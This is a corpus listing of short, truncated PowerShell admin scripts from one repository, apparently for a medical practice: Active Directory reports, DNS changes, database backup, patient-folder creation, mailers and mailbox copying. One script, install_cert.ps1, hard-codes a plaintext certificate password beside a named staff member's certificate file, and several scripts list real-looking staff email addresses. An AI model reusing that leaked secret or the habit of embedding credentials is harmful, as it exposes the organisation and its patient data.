PowerShellCorpus/Github/sl-NZ_Old_Scripts/getLastLogon_outCSV.ps1
getLastLogon_outCSV.ps1
IMPORT-MODULE ACTIVEDIRECTORY Get-AdUser -filter * -Properties LastLogonDate,DisplayName | Sort-Object -property Enabled, LastLogonDate ` | Select-object DisplayName,SamAccountName, Enabled, LastLogonDate ` | Export-Csv -path c:\temp\LastLogonDate.csv Write-Host "Press any key to EXIT ..." $x = $host.UI.RawU...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Set-Interface-DNS.ps1
Set-Interface-DNS.ps1
$servers = get-content "c:\temp\ips.txt" Set-DNSClientServerAddress –interfaceIndex 12 –ServerAddresses (“8.8.8.8”,”4.4.4.4”) foreach ($server in $servers) { $addresses = [Net.Dns]::GetHostAddresses($server) foreach($a in $addresses) { "{0},{1}" -f $server, $a.IPAddressToString }}
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Interbase-BackupRestore.ps1
Interbase-BackupRestore.ps1
<# Synopsis: Script that automatically does a backup and restore of the interbase Database, the variables prior to Start-Transcript -Path $ConsoleTranscipt line has to be set as per your environment General Process for script is as per below Main Functions 1.1 Stop All Services 1.2 Sta...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Create-Large-Folder-Structure.ps1
Create-Large-Folder-Structure.ps1
# Set Working Directory Set-Location "E:\Patient-Attachment" #Sets the input csv file $Folders = Import-Csv E:\Patient-Attachment\export-test.csv #For Each row in the CSV file ForEach ($Folder in $Folders) { #Place NHI value in row into variable $NHI = $Folder.NHI #Place Surname value into variable a...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Find-ADInactiveUsers.ps1
Find-ADInactiveUsers.ps1
#requires -version 2 <# .SYNOPSIS Find and manage inactive Active Directory users. .DESCRIPTION This script allows you to specify the criteria required to identify inactive users within your AD environment. This script also allows for the management of found users. Management of users includes one or more o...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/RenameSiteFiles.ps1
RenameSiteFiles.ps1
#Get-ChildItem "S:\*" -Filter '*&*' -Recurse | Rename-Item -NewName {$_.name -replace ‘-’,’i’ } #Get-ChildItem "S:\Clients\*" -Filter '*&*' -Recurse | % {Write-Host $_.FullName} $nl = [Environment]::NewLine $a += ((Get-ChildItem "S:\" -Filter '*&*' -Recurse | Where {$_.FullName -notlike "*\#recycle\*"} | % {Wri...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/passwordLastChangeMailer.ps1
passwordLastChangeMailer.ps1
function Mailer ($message, $subject) { $emailFrom="passwordChange@wanakamedical.co.nz" $emailTo="sanil.lad@focus.net.nz,jan@wanakamedical.co.nz,amcleod@WanakaMedical.co.nz" $smtpserver="smtp.snap.net.nz" $smtp=new-object Net.Mail.SmtpClient($smtpServer) $smtp.Send($emailFrom, $emailTo, $subject, $message) }...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/UpdateSchedulerTray.ps1
UpdateSchedulerTray.ps1
function CDTray ($mode) { $MemDef = @" [DllImport("winmm.dll", CharSet = CharSet.Ansi)] public static extern int mciSendStringA( string lpstrCommand, string lpstrReturnString, int uReturnLength, IntPtr hwndCallback); "@ $winnm = Add-Type -memberDefinition $MemDef -ErrorAction 'SilentlyContinu...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/telnet_test_medicalCentres.ps1
telnet_test_medicalCentres.ps1
$test = @('120.136.56.228:21520','120.136.57.210:443','132.245.162.162:443','132.245.164.242:443','202.124.112.58:443','203.118.141.219:443','203.118.141.219:80','203.118.141.227:443','203.118.141.240:80','203.118.141.245:80','216.58.199.35:443','216.58.199.72:443','216.58.199.74:443','216.58.212.131:443','216.58.220.9...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/#generalScripts.ps1
#generalScripts.ps1
#Get Content from file #PS Version 4. + Get-Content -Path C:\Embarcadero\Interbase2011-MedTech\interbase.log -Tail 100 #Older Version of Powershell gc log.txt | select -first 10 # head gc -TotalCount 10 log.txt # also head gc log.txt | select -last 10 # tail Get-Content -Path C:\Embarcadero\Interbase2011...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Create-Folder-Inside-Existing-Structure.ps1
Create-Folder-Inside-Existing-Structure.ps1
$folders = Get-ChildItem -path "E:\Patient-Attachment\*\"| Where-Object { $_.PSIsContainer } ForEach ($folder in $folders) { If (Test-Path -Path "$folder\Travel" -PathType Container){ Write-host "path already exists" } else{ New-Item "$folder\" -name Travel -type directory } }
PowerShellCorpus/Github/sl-NZ_Old_Scripts/list_services.ps1
list_services.ps1
Get-Service | Where-Object {$_.name -eq "Schedule"}
PowerShellCorpus/Github/sl-NZ_Old_Scripts/getGPO-Not-Use.ps1
getGPO-Not-Use.ps1
import-module grouppolicy function IsNotLinked($xmldata){ If ($xmldata.GPO.LinksTo -eq $null) { Return $true } Return $false } $unlinkedGPOs = @() Get-GPO -All | ForEach { $gpo = $_ ; $_ | Get-GPOReport -ReportType xml | ForEach { If(IsNotLinked([xml]$_)){$unlinkedGPO...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/OneDrive-Check.ps1
OneDrive-Check.ps1
### Created by Andreas Molin ### Usage: Import-Module OneDrive-Check.ps1 ### OneDrive-Check -Folder <path> ### OneDrive-Check -Folder <path> -Fix function OneDrive-Check($Folder,[switch]$Fix){ $Items = Get-ChildItem -Path $Folder -Recurse $UnsupportedChars = '[!&{}~#%]' foreach ($item in $items...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Copy-Between-MailboxesContents365.ps1
Copy-Between-MailboxesContents365.ps1
# Reference Evernote. #2. Use the following example to transfer the message, this example searches the mailbox of Joe Healy and copies the search results (mail items) to Jim Park ‘s # mailbox (in the folder JoeHealy-ProjectHamilton). Search-Mailbox –Identity "Joe Healy" -TargetMailbox "Jim Park" -TargetFolder "Joe...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/emailOut.ps1
emailOut.ps1
$emails = (Get-Content "C:\Scripts\Temp\testlist.txt") #-join "," $OFS = "`r`n`r`n" $msgBody = "Hi, I have created a Powershell Based Backup and Restore Script for Medtech Maintenace" + $OFS + "You can find it here: https://github.com/sl-NZ/Scripts/blob/master/Interbase-BackupRestore.ps1" ` + $OFS + "Comment as requ...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/RenameSiteFilesv3.ps1
RenameSiteFilesv3.ps1
#Get-ChildItem "S:\*" -Filter '*&*' -Recurse | Rename-Item -NewName {$_.name -replace ‘-’,’i’ } #Get-ChildItem "S:\Clients\*" -Filter '*&*' -Recurse | % {$_.FullName} # RUN pOWERSHELL: Powershell.exe -ExecutionPolicy Bypass c:\scripts\RenameSiteFilesv3.ps1 -RunType $true <# # (number sign) % (percent) < (les...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/install_cert.ps1
install_cert.ps1
# Update Password within -p parameter quotes # Update Certificate location within importpfx parameter quotes # Apply GPO to OU in question, user OU. certutil -f -user -p "kmC4XFtC" -importpfx "\\wmc-server3\MT32\Certificates\HealthLink\2017-2018\Andrew McLeod_1765389407.pfx" NoRoot # Remove Certificates that ...